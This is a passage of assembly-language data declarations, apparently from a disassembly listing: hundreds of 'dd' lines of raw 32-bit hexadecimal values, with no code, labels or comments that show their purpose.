		dd 559EF654h, 21A56B06h, 0A83FE6A2h, 636C616Fh,	0B61F76ADh
		dd 373AA061h, 0F9725DD7h, 0FC66DCB7h, 0E8CFD5FCh, 22CFC04Ch
		dd 186E7461h, 6FF2285Ch, 0C39129Dh, 3AB637B7h, 0E5E4A8FCh
		dd 0B48C356Fh, 0FE51236Ch, 0A110C912h, 0A75C638Eh, 6BB30ACAh
		dd 683D67FDh, 216924B1h, 0C27531DEh, 0B88C4940h, 0FF67BE01h
		dd 794AB4B3h, 0E5567511h, 0A015D7F7h, 2EC1DCA7h, 3E2CE1C6h
		dd 73696809h, 0C46119E3h, 7AAF34EAh, 0D7D652CBh, 41932130h
		dd 1FA611E5h, 1A8AC30Ah, 0C06EA740h, 774092F3h,	0BE74FCEh
		dd 185B649Ch, 1A2CA1E2h, 0B1F30E61h, 5777EBB8h,	363EDAB3h
		dd 0BB0608D0h, 0E4B68345h, 5282D600h, 18FDD977h, 0BC0110EEh
		dd 65E18BA8h, 11AF18B4h, 9C6DB73Ch, 0D340EC1Eh,	7E8EE5ECh
		dd 40F0F6B7h, 24DC647h,	24A7B23Ah, 239BBC4Ah, 0E1FA73BEh
		dd 5E581F97h, 83E92355h, 908211AEh, 0DFCFF431h,	21EA4AABh
		dd 6A19D1B8h, 88D1EE54h, 0FE31C77Bh, 0FDE91BF5h, 0A433E573h
		dd 5AF09829h, 9BADAA49h, 8E2D858h, 0D2DE361Ch, 0FFD4B3A8h
		dd 120562D6h, 2451AFC1h, 1ECE0AA0h, 0BF03FAD4h,	0E1A07507h
		dd 1E8E4D24h, 0DE639207h, 0BD9992D7h, 4B36C5F3h, 0B03843B6h
		dd 0B90FF5D2h, 0C6619513h, 1E6B1F84h, 8A596404h, 0FB98AD1Fh
		dd 9DE9E797h, 0CE46AB98h, 8DCEFDF5h, 993448EAh,	963C8A6Bh
		dd 0EE9EFF3Eh, 1ED38416h, 0F332713Eh, 0FC12214Dh, 0ABDA4CABh
		dd 0F1240AEEh, 7E141A42h, 2785528Fh, 0DED62CCCh, 48BDA31Fh
		dd 0EE230EB1h, 53FEB148h, 8416CBFCh, 5E8887BBh,	4F1817F9h
		dd 0B3D836F6h, 432030ADh, 551C6BDEh, 0C7714ABBh, 0E5C9B8C8h
		dd 0C4DE4195h, 0B00683DCh, 0CB905DF4h, 7B1F07F8h, 648E81CDh
		dd 0CD88AF95h, 7160596Ah, 0E5F30AF5h, 0A3B12CE6h, 0B88F53F9h
		dd 1939DA3Dh, 0D226E8BCh, 466F2B7Ch, 64E2B3EFh,	1FFBA730h
		dd 98614DCDh, 0B05E3B41h, 9745AA4Eh, 0DCEEECDBh, 92EA7BB7h
		dd 0E51B99E0h, 2DE81672h, 729E2399h, 0EA7D3FBCh, 82BB0907h
		dd 2C311FA1h, 0BBB93248h, 0BC3C19E7h, 0D7C3D4Ah, 73DDE6Dh
		dd 6B5CF44Ah, 53923554h, 0CADD8710h, 2568AEACh,	0FC1C97B5h
		dd 0FE86BC58h, 0DC6A95F5h
		dd 33D5749Eh, 0D1968601h, 10E99A73h, 9A6218EBh,	0A1C09A84h
		dd 5765B5D0h, 10093F15h, 20E2143Bh, 0A6A971B4h,	830EBFAEh
		dd 0AA3938D2h, 3582BCF6h, 0DF60B359h, 0F9CC427Fh, 3AFFFE36h
		dd 7D6C9CFAh, 4D49D1D3h, 411F6B3Ah, 62666431h, 5A41F534h
		dd 7C474510h, 0C196AD66h, 7276D8FBh, 68D2AEADh,	0B32D735Ch
		dd 0B65AEDA9h, 0F69B13A8h, 0F0C7F3CCh, 0E62126h, 0BBBECF8h
		dd 0E6E9C5BEh, 0AACE190Dh, 6DCB6AAEh, 0A1C56183h, 0B5793528h
		dd 0AD681DCDh, 6D5CDDA6h, 1C97BC48h, 6F4E355Eh,	33531811h
		dd 0B3CA2453h, 0DAA5EE55h, 0AEAD1CC2h, 8A0A1F55h, 0EE9A18D3h
		dd 2887783Ah, 0F6991AB7h, 4701276Bh, 0F3425A8Ch, 298B425Dh
		dd 54AA3870h, 0DFFDFD56h, 46DA897Eh, 9C773A6Eh,	57BB825Ah
		dd 2B503AA2h, 9357F523h, 21DC2F09h, 9F05C20Bh, 0ABBA9660h
		dd 0EE415481h, 4908D806h, 8F093A9Dh, 33CFE601h,	6C38745Bh
		dd 30C1241h, 29B2C3F4h,	780EB6EEh, 0E1B3E186h, 0EEC4FC60h
		dd 806CDF71h, 554EC220h, 0EDDF060Ah, 58E486DFh,	0C62BA54h
		dd 0F8BD22Bh, 0CBBF2BC6h, 1D29CD42h, 37E6F042h,	6AF7C261h
		dd 0F2DE7960h, 95AC5D7Ah, 0D9C26CF1h, 0EC34658Ch, 715AFF7h
		dd 9C42856h, 6BAD3D03h,	0A5DC679Ch, 0C2109EB6h,	0C87C6D6h
		dd 307B6826h, 50088588h, 2248F13Bh, 0EC4FA728h,	0DE1707A7h
		dd 5B7A591Dh, 82CD80h, 0F9603E70h, 7DDB305Eh, 94CC1F20h
		dd 79735E11h, 6016FE01h, 0EFF513B9h, 3DF8BB61h,	39702F5Dh
		dd 45E52E39h, 0CA13C110h, 12ACB97Ch, 0FE965CAAh, 7B125F18h
		dd 0F1BA1124h, 152E2E7Ch, 8D644129h, 0AC4EC08Dh, 0CC252EE9h
		dd 860A8894h, 0F6DD76B7h, 0B8308FA9h, 451663A4h, 0C7108CC0h
		dd 28730AB6h, 73168780h, 69EB786Ch, 0D75BFCB4h,	3A28A02Fh
		dd 0A4F3F062h, 2433AABEh, 0EBEC7B7Dh, 9DF9C117h, 0B78030Eh
		dd 0D30598E4h, 0D7D08D48h, 21263C29h, 937BABC9h, 0B60491B3h
		dd 60CC8648h, 0C94CC8F9h, 0D2BEEAA3h, 15142956h, 6E662F7h
		dd 6790E5EDh, 24D5ADFDh, 0F27959F6h, 69C6F2Dh, 4FE6ED7h
		dd 0AF84084Ah, 853257B9h, 0C7A67F30h, 0BEA599E2h, 2407B8D2h
		dd 49FB0821h, 2CF3A1BCh, 2E1368FFh, 61C2FCAEh, 994C3A78h
		dd 0FCB55FFCh, 9548C608h, 2575B2AAh, 51D26E3Eh,	52F40FB6h
		dd 0BE5DD9E7h, 0C5CBB2C6h, 0C3116B9Eh, 0C85807FDh, 8541EB83h
		dd 3F81822Ch, 1D42F9C7h, 98A86857h, 0A84F9837h,	0A095B0EEh
		dd 5E9DDC14h, 0BF84BB07h, 96F8FB6Ah, 87F28468h,	805C320Fh
		dd 9D1F4237h, 2FDCB96Eh, 3306790Eh, 0CE42DE10h,	8C3A467Eh
		dd 0DAC0D003h, 0EF0DEC19h, 0CEDECABEh, 4F1A2F3Fh, 0AA0D8F11h
		dd 40F7682Eh, 3E8ACB2Eh, 0BFF4E2EFh, 0FEDAEC19h, 0B6E38E3Ah
		dd 0C32B0502h, 9D12DD88h, 9FFAE957h, 7602D764h,	4AE70147h
		dd 0EA08AC63h, 0D0AFD013h, 72C38791h, 0FCC24D68h, 32D3CBh
		dd 5B014B5Fh, 857EBBD6h, 0A724052h, 0E4AF5259h,	0E94C83A9h
		dd 29865F2Dh, 7D18CBFFh, 6D24E9C5h, 0A060E6E9h,	0E02183AFh
		dd 9E5F922Bh, 7A6F18BCh, 8EE07DD1h, 34056891h, 0ED262E44h
		dd 6329459Eh, 0E547ECBAh, 8771A348h, 0E02AAF07h, 1A26A3EAh
		dd 0C7BB85D4h, 7EFA8898h, 2E7485E3h, 0AEF53F96h, 2C61269h
		dd 58D7B29Ch, 7E5CE1FAh, 0E34E6512h, 7CADCC55h,	0E077944Bh
		dd 0B7ADFA15h, 6862E315h, 0F01B211Ch, 86D2CE44h, 0AB3697D7h
		dd 81383A6Eh, 0CE4110BBh, 44D4AA33h, 0A622B402h, 9039682Bh
		dd 5428105Dh, 69D6CE08h, 0E7117F03h, 858F893h, 1C6395C0h
		dd 1571ED00h, 5616B970h, 0E0D0193Ch, 0BBA1E7A6h, 0D1DE1C1Ah
		dd 7BA50D87h, 0D7FBE876h, 4132765h, 40AC45AAh, 0B933137Ch
		dd 0B1393555h, 2E7D0869h, 1A1D7E5Bh, 876491C2h,	5DCA6569h
		dd 8D492496h, 0D005555Eh, 9AE6DEEDh, 0B084E858h, 29B4C4BDh
		dd 2DCA5899h, 3278EE1Ch, 0E968735h, 0F695AF13h,	2BDFAE29h
		dd 7181B51Eh, 1D7B8932h, 385A8FD1h, 0A6D0CC80h,	3C1A506Eh
		dd 0AF9F78BCh, 825957BDh, 528FA4A7h, 3D2C2F5Ch,	0BB399C52h
		dd 39BF2CCBh, 0F992FFF4h, 0AAEA8B85h, 0AB4180CFh, 0FE085D3Eh
		dd 6720414Fh, 8686CB79h, 0E1558876h, 49256640h,	4D1B45E5h
		dd 7596DF8Bh, 0DEF8E1EAh, 0D014738Bh, 0BF34EA30h, 9B237D8Dh
		dd 809933C8h, 846597E3h, 0C2687D48h, 0B57FA3E2h, 0EA774EA3h
		dd 8805691h, 2FBB4922h,	0F649D502h, 9A05AFD1h, 0A82608FBh
		dd 0EDA6FEC3h, 0B1F5A9BFh, 5A9FBD4Eh, 0E3B56C6Eh, 0DB051489h
		dd 66DAAA6Ah, 16ED3482h, 0E94A7193h, 3B951848h,	0FB825A9Ah
		dd 0F5B899F8h, 0AA08B30Ch, 5FD234A0h, 6E879CA9h, 8CD37400h
		dd 8D731BF2h, 0CA81E5C2h, 547180E1h, 0A07F8C9h,	0EB9FC253h
		dd 7285400Ch, 0C6A7F23h, 3FF6A1FBh, 9FBD3769h, 2A7A40D6h
		dd 4CE3CA02h, 0A77806DFh, 7C6709C7h, 0AED90F70h, 0D0159FE6h
		dd 0A8A7774Ah, 8DF55BABh, 0F0D1A63Eh, 39CA26A2h, 0A525B73Ch
		dd 0BCF7C3EAh, 0F4D0DE8h, 0C3DFC765h, 5B45A0FFh, 8477B539h
		dd 0C47804F1h, 0F81847B6h, 3BC3BCBDh, 0BDB63E60h, 8E2B253h
		dd 5AFA9799h, 842E109Eh, 3E90C917h, 4A6C2134h, 0A65A310Bh
		dd 6B2A19E7h, 0E199CAEEh, 69C74994h, 0FEEBD11Bh, 33B7EA44h
		dd 0F39D4B7h, 56833BCCh, 0FF8F4405h, 0A26A57DDh, 8000005Eh
		dd 110F0000h, 830840BCh, 0D6F9E82Fh, 0C9EDAE56h, 0E3267A7Bh
		dd 0F2E65559h, 0B72C2EFEh, 12EF5DCEh, 0D0EB870Dh, 0FF8E90ACh
		dd 0C4A3B228h, 6E7235C2h, 1EF03EDh, 91112BCFh, 5071A932h
		dd 1840DD55h, 0B76195A2h, 0BC94477Ch, 93C84BA1h, 248E7FDh
		dd 63AC59F8h, 92B2DA75h, 3EF0AC5Ah, 0F9F57C09h,	0ED358BC0h
		dd 57CB745Ah, 176B049Eh, 3FE37D8Fh, 8171DEBFh, 297F4B34h
		dd 51CC05D6h, 0CF2CEBD0h, 5AE40580h, 986B5042h,	25C8CB85h
		dd 957DBB46h, 37FB4768h, 286BABBCh, 41F346FAh, 372B0BABh
		dd 3D875CAh, 47AC1E87h,	201DF381h, 0EF19AA51h, 0AD6AEC96h
		dd 98D4E175h, 18CBDD95h, 2D8FE948h, 9FC122F1h, 0CC5BF242h
		dd 52B2CFEEh, 0B7EF563Ch, 0E4849E03h, 3EA965E1h, 67DAD8BFh
		dd 1FA51C62h, 0CD58F938h, 0AD0048B6h, 5ECB330Dh, 0C49B92ADh
		dd 2D13EC12h, 7E49B0Ch,	3C86CADh, 0F43CB3E8h, 0C0602FC1h
		dd 35CD2Fh, 0A26A7FD6h,	87575849h, 98E20C26h, 8B238FF5h
		dd 8C3FF6FFh, 24A91E9Eh, 0E9D13AD6h, 5652A12Eh,	1765C732h
		dd 0D40AD530h, 0D21D37Ch, 37842931h, 4681870Bh,	6EB51B58h
		dd 0F1BE9EBFh, 0AAA8E9D8h, 9F4828A6h, 0FF3A86A3h, 0D80B69DCh
		dd 7555406Bh, 595A7ED0h, 805E24B6h, 0D4F04BC3h,	1CE62BC3h
		dd 8CE85416h, 0A1047E4Eh, 0C3B09A2Bh, 40EE6CFBh, 0A8990413h
		dd 0F74F7F38h, 0E0F0BF77h, 24100B30h, 71E8B631h, 891ECEDDh
		dd 0D9041547h, 65BF6E26h, 2E566079h, 26D59A25h,	845317FEh
		dd 5EEDC151h, 17CA0945h, 995B28C9h, 7CC82DE5h, 4F15684h
		dd 48F3E805h, 0F4936ED8h, 1CCDAD59h, 25A87E5Ah,	32CD1F48h
		dd 0FC9FD863h, 2831CAA7h, 0F8DE111Ah, 0B6B778D1h, 4F54D530h
		dd 4B0BB10Ah, 5EB55852h, 4B2B4047h, 9964BED9h, 0FC27F7A7h
		dd 374D9EFEh, 63E6F231h, 0E3E29AD0h, 7C8CD4C0h,	750153CDh
		dd 0ED47A89Bh, 0A2CA7418h, 8FF6A9C6h, 97E88757h, 0A547F69Eh
		dd 389CDB7Fh, 0DB923EACh, 0DCDF8ED7h, 43A43A74h, 5CB314Bh
		dd 0E028B311h, 0D1884CF5h, 6A6D0FF0h, 20C3ABF5h, 0F9DA0635h
		dd 59797A2Ch, 32930EF4h
		dd 464F24A3h, 6F5C3239h, 0DB02264Ch, 86F22D70h,	155680EEh
		dd 5F992EF9h, 6DF5108Fh, 0CBB4148Dh, 4DCAC3C6h,	0A3B0CCC5h
		dd 8A50AE35h, 57F41DCAh, 42BABA62h, 0CE0433A5h,	0C26A8800h
		dd 2CA4305Dh, 3CFEDCCAh, 87301AAFh, 0EC75CA20h,	6962A8F6h
		dd 478A00F2h, 0BC54401Eh, 0C7E85416h, 7D3F36FEh, 0DE7A3AF0h
		dd 4403BDE7h, 0B83AAB23h, 0B62B288h, 250A395Ch,	0FEAC21DAh
		dd 4DD49BBFh, 3E4521AAh, 5CB49D29h, 0B22FE3EEh,	263E503Ch
		dd 1C7FDB19h, 0D836E42Ah, 0C48F5ECh, 486F18D2h,	0AD86D711h
		dd 0BC69F9FCh, 817877B7h, 0C7B564Eh, 5A86D0Ch, 30FF23F1h
		dd 3ADC611Bh, 0E543A133h, 12209620h, 1FBCF914h,	0B4751223h
		dd 0F7E2B14Eh, 8FBC2C34h, 8E3E28C7h, 0A31770ADh, 92E3C475h
		dd 0C4A02A73h, 0F16C3AFCh, 0E289D76Ch, 64239F52h, 48A1601Ah
		dd 76776059h, 0E8700A17h, 3246678Dh, 52D66359h,	6AA2F6D9h
		dd 85E8D9Dh, 0ED00CA61h, 726232BEh, 3469BD1Ch, 72BDB6F0h
		dd 4397335Bh, 198DE0CFh, 0FA0F3AFh, 0B76AF3EBh,	8226BCC0h
		dd 0FA103232h, 0E1C6416Dh, 639BA751h, 4A601C32h, 316872A2h
		dd 0C90D89Fh, 0C469D69h, 9B6B5744h, 26855508h, 3AB9264Bh
		dd 4F816FCBh, 0B3ABE9DFh, 82D7BBE2h, 65AF200Eh,	89C46EABh
		dd 707F5479h, 0D5D8DF66h, 0E2FD3247h, 5D4AEAF2h, 1F246086h
		dd 9D9012F3h, 8A2FCA23h, 5C83204h, 1C817B9Fh, 99A888DEh
		dd 4D3BD5B3h, 9355BA5Fh, 0CBE317EEh, 0A09DF698h, 3BCF367Bh
		dd 90142CDEh, 0B11F45C4h, 9CFC5E73h, 0D4637418h, 46F0458Dh
		dd 0BCA937CAh, 0B364EE9Ch, 182D4A71h, 665F2753h, 5815B6CEh
		dd 0BE730AEFh, 57C289BAh, 61FA4332h, 8BF6D321h,	9F4A28BEh
		dd 281A2AB9h, 78EDFDA8h, 4589AC19h, 56D4860Ah, 0B4D0E4F3h
		dd 9B200BF8h, 6C268FA6h, 5D515F4h, 2A80BB1Dh, 58D78622h
		dd 728BA899h, 4CA65FD7h, 12134490h, 47C268B5h, 93446181h
		dd 0C2EF2A64h, 49FB8578h, 0EADB52h, 0CA4FEF06h,	0E73ABEB9h
		dd 8E8089FBh, 0B94EB2A5h, 0CE2B723Ch, 0D0A0ACEh, 5FA8D7B5h
		dd 23CF29A6h, 12E63201h, 996C5455h, 0C03F418Fh,	10B2B2C5h
		dd 980AE799h, 0D40336BCh, 74271010h, 0AA678B08h, 0ACB5EC8Bh
		dd 0CEE87567h, 64E8D5F4h, 0C08540E4h, 9D104A69h, 0A5F012A0h
		dd 0DC9311FCh, 5893B1D9h, 692C2675h, 44D90C22h,	0E521693Fh
		dd 8F6EB144h, 76A312D1h, 5188F9E1h, 0A84752C5h,	8771550Fh
		dd 3988DF8Bh, 4AB4161Ah, 7C4314B2h, 8B1CD09Bh, 193CCE90h
		dd 0BEE39E7h, 7CA6290Bh, 1999E41Bh, 6FF0252Eh, 395AD3F8h
		dd 0F7A5A2Ah, 31A8C7E9h, 0F858EEC0h, 0AB9952B0h, 0B418C5B5h
		dd 6C38159Fh, 0AED3994Eh, 0C02062Bh, 42062E60h,	9DE67919h
		dd 1000FADDh, 75E87122h, 307C6205h, 0B06F604Dh,	0CFA54319h
		dd 0D037EA96h, 23A4117Eh, 77E3C683h, 75578FBEh,	0C21E3D20h
		dd 0FE28478Bh, 0A4824F40h, 6B053EF9h, 362F8B90h, 866B83E6h
		dd 72987D3Ch, 754F65A9h, 1DEE29C6h, 5C1A56E8h, 0D0DD0h
		dd 31EC7C8Dh, 0E7213683h, 0A4DA99CCh, 9228F256h, 53D53000h
		dd 0BF464BD3h, 0E1F6B11Ah, 177DE0C0h, 2EB7F818h, 0D01990F3h
		dd 0D4A3BB31h, 42BBA277h, 9EBB4C23h, 47F7E28h, 50662149h
		dd 419E10B4h, 77B261CDh, 2FEB17CCh, 0DA6B7FBCh,	5A37136Dh
		dd 0A3D6F701h, 9CEE33B4h, 0C2A7EC7h, 0BF61712Ch, 0A4A8CF82h
		dd 0B4A1727Bh, 173ACAD5h, 0A371B9E9h, 5C9D0402h, 45CF6172h
		dd 70E6EF9Eh, 0BE73BF40h, 0F1B9FFA0h, 0F5500CA7h, 5E87EBh
		dd 2DFA6EB2h, 433C9C98h, 0BCB03E26h, 0C3C00DD6h, 5ACEB8EAh
		dd 1BA1EC19h, 0A61ADAA9h, 0B841289Ch, 0A0AACCCDh, 78D92557h
		dd 0DDE9650Ch, 0E234658h, 0E87F5F4Ch, 706E4457h, 8827C655h
		dd 183CAFF3h, 0B02E1D37h, 8E90ACDBh, 625DEF78h,	92B764CEh
		dd 0EFB07099h, 0FB9CCD40h, 71D9797Eh, 6D57B5D0h, 531A171Eh
		dd 0F476F4DCh, 0FD700BA2h, 746DB7Ch, 21AD54D2h,	7F0430CFh
		dd 0E6D5AB2Ah, 9481D4D4h, 2DBA00F4h, 0D85B7ED0h, 3824AE83h
		dd 0B5A52A67h, 89807E1Bh, 0CCB01D12h, 0F5B4ACA6h, 4AC39D29h
		dd 0AC840BBAh, 97681986h, 51A50FB7h, 2B38B411h,	5D2C8F19h
		dd 22E73DE2h, 63733182h, 242AD300h, 40CB3243h, 97DCF77h
		dd 94F7FE01h, 0AFC29B13h, 4225A2EFh, 0AF33FA2Ch, 75479462h
		dd 0B4CD80F4h, 0CC4A10A2h, 1C285491h, 270EA3F2h, 0BA7D1657h
		dd 850D753Fh, 4012C235h, 0B1E32C19h, 55A5E297h,	0E8CC8F86h
		dd 0FCC2C802h, 0FC97A5C0h, 0A350E582h, 950B02D4h, 0F4E40924h
		dd 0A35E2006h, 0F14DF020h, 9967309h, 0EDEF694Ch, 287B568Dh
		dd 0FC194A93h, 19FEA6BEh, 0E52B6125h, 55B138E4h, 77701533h
		dd 0D41DD139h, 2E6B50A5h, 3936DFFBh, 69EA76E3h,	0A6478974h
		dd 0A2D90514h, 14780A75h, 62DEB136h, 2747854Ch,	0D15B440h
		dd 9FA94D72h, 0AB9976BAh, 0CEE81179h, 1C944CABh, 0D9AE822Ah
		dd 4B15342Eh, 0FDB1A2A1h, 0B94E3240h, 0A5386768h, 0E401A984h
		dd 33ED6E2Dh, 5ABE4428h, 57881F14h, 0BC93A8D1h,	17A086FBh
		dd 0A267E310h, 9F764D6h, 0F9D90EEEh, 0F3ED43E3h, 12844728h
		dd 0DE1D5433h, 685657EEh, 5B16FCC3h, 2B99E110h,	95F4C81Ch
		dd 3D4710E2h, 1E313E3Eh, 0DDB8279Bh, 832851D5h,	84AEBA6Dh
		dd 6DB9B87Dh, 77FF2AF7h, 0A1A066DEh, 4309495Ch,	0DACE47BAh
		dd 2C04570Fh, 0C3823DFBh, 0A7215822h, 9781AD79h, 0D558D84Eh
		dd 0EC60D11Dh, 0EB825B0Bh, 0A6E3C14Fh, 0C89CBEFFh, 0C499C26Fh
		dd 0E8AEAA87h, 0DA5957C0h, 0F38EC99Eh, 1F8FB80Dh, 1040DDA1h
		dd 0A20883E1h, 682F74FBh, 0E5080CD1h, 0C861A477h, 0BAABAB11h
		dd 0DBBE2566h, 0C3F2C9D1h, 0A72D2E40h, 0BDF6F5CFh, 731FCA60h
		dd 21F77FA3h, 41EF75BEh, 0DA09BC75h, 0F50B704Ch, 0AF020C9Eh
		dd 0D7F9B7CDh, 0F689104Fh, 0C3A4BC5Dh, 0C1F8F635h, 0DC30171Bh
		dd 0EA293BD0h, 0D5FE76CFh, 770C7335h, 0A102D1E0h, 10FAFDCh
		dd 5C035745h, 24D4AEAAh, 0AED0ABFCh, 0B1A647CFh, 0E5A925C5h
		dd 37658778h, 179BE411h, 0CB4C004h, 0D35FF2B0h,	0A8CEEECDh
		dd 0B78AF870h, 48F7D297h, 2BD8CD81h, 612FB75Ch,	0C7704DDBh
		dd 0DF0960DBh, 830E9CB5h, 0A03202C4h, 0D00B0E22h, 0B41CCEF8h
		dd 473027F9h, 0E76EDE46h, 0F3B370Eh, 0E28DAF4Ch, 90E32291h
		dd 0C4035033h, 8DBA0F6Bh, 7903C1B3h, 0B24C719Ch, 0D7B48A16h
		dd 0BF92886Eh, 4885B593h, 0CBAFF73h, 83C8E008h,	0FC0AE096h
		dd 0F28F53E7h, 901BB50Eh, 0A3EE8CAAh, 219A0D04h, 0B944DC2Dh
		dd 0AC4E383Dh, 0AAB04C41h, 0CC75E490h, 9109D5FAh, 0EAB6EFDFh
		dd 754CD080h, 9AA8FBBh,	655FAD33h, 0F35FD755h, 0F201E8E6h
		dd 0D5E80F08h, 0FF33BF35h, 0CAC9Eh, 40C13B6Dh, 9505943h
		dd 67FAA182h, 0BA726E67h, 7B33BEFDh, 0E12C41F2h, 774456C3h
		dd 0B6366F83h, 372A86EAh, 0DC183155h, 575BA289h, 52363068h
		dd 960D7C38h, 96EE8F7Dh, 68B3181Dh, 0D5BDE862h,	0E5151964h
		dd 0A47D8FF4h, 0C0475284h, 0F14D25A4h, 0FF248A26h, 4FA6EADEh
		dd 5391B942h, 0E596EA5h, 43CE7186h, 0C3744FD3h,	5F675EEBh
		dd 44847954h, 0F27025AFh, 0BFF01F3Bh, 73F4C296h, 0A2B2A67Ch
		dd 0C3364D2Ch, 868BC47Eh, 0B138365Dh, 0F83328A1h, 0D262B1CEh
		dd 83C98129h, 0E68A768Ch, 0A8212825h, 0C65F4F09h, 0FFC306C2h
		dd 0CEDB59EDh, 0D58D7856h, 0B86B5B1h, 5AA4168Fh, 4BB54C23h
		dd 5F778945h, 742C5AACh
		dd 7ACFB629h, 4B10A540h, 31358944h, 1C4EBD85h, 0BBD1F3A4h
		dd 136BDB1Ch, 70CEDC22h, 837D8E9Dh, 0BE5FE476h,	4F5BC126h
		dd 0C5B10EDDh, 478139D1h, 2BC7F68Ah, 51AE1DA5h,	0D2BCF708h
		dd 0A45774B5h, 43B368E9h, 32F95FCCh, 951A6293h,	1C7FB3B5h
		dd 0E64269BBh, 0EAA0629Fh, 36951814h, 0AE9F54AEh, 466318B4h
		dd 801F005Ch, 6D3E926h,	1955B277h, 88854C43h, 0FD63CD91h
		dd 0C42A3AA7h, 4523440Dh, 1262286Fh, 0B504CD82h, 9148A334h
		dd 6728A5B2h, 7C881E45h, 794B7871h, 77BCE681h, 0D173657h
		dd 0F6BC8D28h, 5949F6B4h, 0C4352451h, 270555A6h, 0E684D0C5h
		dd 49E142C9h, 1D5C6B8Fh, 0A72830EFh, 0E8CEDA0Dh, 0E96722Eh
		dd 0CBD14466h, 2C5ED7F3h, 443B7026h, 872154FEh,	4BB6AD8Ch
		dd 0A8B311A0h, 0F8D74AB6h, 423B7A33h, 6D048C59h, 0DDBEF1E6h
		dd 829F4788h, 6E885C28h, 6F4C0C39h, 0D16CAD8Ah,	9AB79EBBh
		dd 5F73BECFh, 69E774CEh, 0DCA77071h, 0A23ECDDAh, 4E44CEF1h
		dd 805961EFh, 0B78EC20Bh, 320B089Bh, 0B7DC4376h, 372DE5F7h
		dd 7F5091Bh, 0E9188536h, 0AE4678B1h, 0DFF1D1A5h, 8417A69Ah
		dd 6864352Fh, 0DC8EEC28h, 0AB4115C5h, 86365102h, 82B5E91Eh
		dd 0EFE342ADh, 0F34C86F2h, 57ACE596h, 509A4E2Ch, 3DB320E3h
		dd 2F40DD5Eh, 0DB05F096h, 4A831B73h, 898B5804h,	0F1F7A1EAh
		dd 0F9A7ABC4h, 427C8267h, 87E73942h, 2283E794h,	0E1CAAB8Eh
		dd 48EBE712h, 0F728609Fh, 7D656612h, 0AD5CD132h, 3D69E966h
		dd 0EC414ACDh, 0EA9A0449h, 0EE650E4Ch, 64A7E56Ch, 0CC269C89h
		dd 0B2ECDA50h, 227FBBB6h, 20738019h, 3EBB29EAh,	53E9A0A7h
		dd 0C4144CDBh, 5FA53902h, 6365F3F0h, 0AE780BB4h, 6C9D817h
		dd 0C0645F0Fh, 0B4AE53B4h, 1993CD0Eh, 0E9BF6B57h, 0EC08336Ch
		dd 4FC988ADh, 0C9E989B9h, 0CF9A9D1Dh, 0B77A327Ah, 904B1150h
		dd 31CB7CE9h, 9B4096E2h, 67A3EE07h, 602F363Ch, 2551BB0Dh
		dd 0B766D23Ch, 7BA55247h, 8A3819A6h, 0E1E3BA0Bh, 90A7B463h
		dd 0B716B462h, 0DA96C5C1h, 7B05524h, 905B70B9h,	5918A0AAh
		dd 0AD5F6DBEh, 6877E73h, 294E9CE2h, 0E0B68055h,	0A50F8879h
		dd 0F40729E2h, 0D7491311h, 0FC932ED1h, 0EAF2A963h, 0BBCB7316h
		dd 0AA64BF8h, 11EE2A25h, 1D82A2A8h, 723B9E92h, 2B0304EDh
		dd 5A917A4Dh, 860A6C2Ch, 0A42DB18Ah, 0A6320190h, 0A8A7CFF6h
		dd 5B4636BBh, 51883F30h, 5E2DC0A2h, 6A4BE849h, 7AF9781Ah
		dd 0D61F118Bh, 0B10DFE21h, 0A249E790h, 8806E095h, 50D090A1h
		dd 2F11DC83h, 90DD544Ch, 618E38B2h, 550FFD9Ch, 0A655969Bh
		dd 0CE5906F9h, 3B11BCD8h, 0E590D7CFh, 45CD327Dh, 0E59FA040h
		dd 69010F31h, 0E360F529h, 0F5FF9C98h, 5D2AEE98h, 5299E985h
		dd 9F6717D6h, 15A82FC9h, 55137119h, 1F135E55h, 3CB56AC5h
		dd 7BB7373Dh, 65DCDD25h, 12A473Dh, 0EC9A2ED2h, 62A984ECh
		dd 2B5BF05Ah, 240EFA20h, 0CD0EEC32h, 521396E0h,	0A9EABF96h
		dd 0D2AC7864h, 754D0EC6h, 640751EDh, 0E257D3C7h, 450243EEh
		dd 93235C9Eh, 0E8B1F4BBh, 0AF006D60h, 9F44E351h, 6E71706Ah
		dd 0E9E2E93Fh, 2A6DDE1Bh, 0EEB32AA2h, 196647F3h, 7742573Eh
		dd 9809DF36h, 0CAF96C58h, 847AD843h, 12C6EBD0h,	5E2A139Dh
		dd 8BBCBFE2h, 0D0AFACC4h, 8E8A13D6h, 5A55B9A6h,	0B3AA6A6Ah
		dd 0F6B4BD9Bh, 17DBFFD9h, 5E7BE3h, 8000h, 0E3A66800h, 0A8F3E761h
		dd 65579873h, 0BFC951D0h, 37DC9485h, 0AC3DBD9h,	0CBCE87Ch
		dd 5299AF38h, 1B551B1Eh, 2AA7FC29h, 0C77F0F54h,	0D0BD4C38h
		dd 2807981h, 0CEA0A75h,	4B5497F3h, 0D05CAD18h, 83C8EB68h
		dd 740A9D8Fh, 92E7093Dh, 0C74F413Eh, 0D60512A0h, 47A876D6h
		dd 0B5BCD20Ch, 4F2F768Bh, 0A82F5598h, 336D88ADh, 2B5FF69Dh
		dd 7521B2CFh, 86F2F631h, 8BDA2608h, 4CEEDD9Eh, 8E81879Eh
		dd 0ABBD033Fh, 0B745AE44h, 5EE38A78h, 44AF1BEFh, 985106F5h
		dd 95026F71h, 796465A3h, 0A07AF5CEh, 0EF5F1C1Ch, 4501271Eh
		dd 59A9866h, 0EF2E1462h, 9259C2CAh, 44935B26h, 0BEBFA574h
		dd 742B1C5h, 0C9262C77h, 6BFA1CF5h, 524B25C2h, 84E0CD41h
		dd 951E9293h, 4206359Dh, 2579DE1h, 0C7629E29h, 0E8A7E6F9h
		dd 76E9F9E7h, 0ABDCD7F6h, 0A6947BF4h, 5CEA54BCh, 0FCC72492h
		dd 6D447DC5h, 0FBECD599h, 0F125332Fh, 58F4AD8Dh, 1837747Bh
		dd 36444731h, 38FF5B6Bh, 6A1D25B3h, 411B7C57h, 0DAFB99DFh
		dd 0DC260DBAh, 0A894E888h, 1385369Dh, 28475A8Ch, 2C64CE22h
		dd 0C0841B97h, 27E0F64Dh, 0F5CF10C7h, 808FB68Bh, 26AB2952h
		dd 0EB601170h, 9E57E6ABh, 0DF742BA5h, 0C0486633h, 0BB365EECh
		dd 9F7163BFh, 0CCAEC7C8h, 0F0D4A4D7h, 0DDBB73F5h, 29BCC578h
		dd 7FB5821Fh, 0BEA454ACh, 3A15D681h, 309EE150h,	1F6B1F86h
		dd 0C271AE9h, 0A37CB45Ch, 9FDB888Dh, 7128C6B8h,	17A260B6h
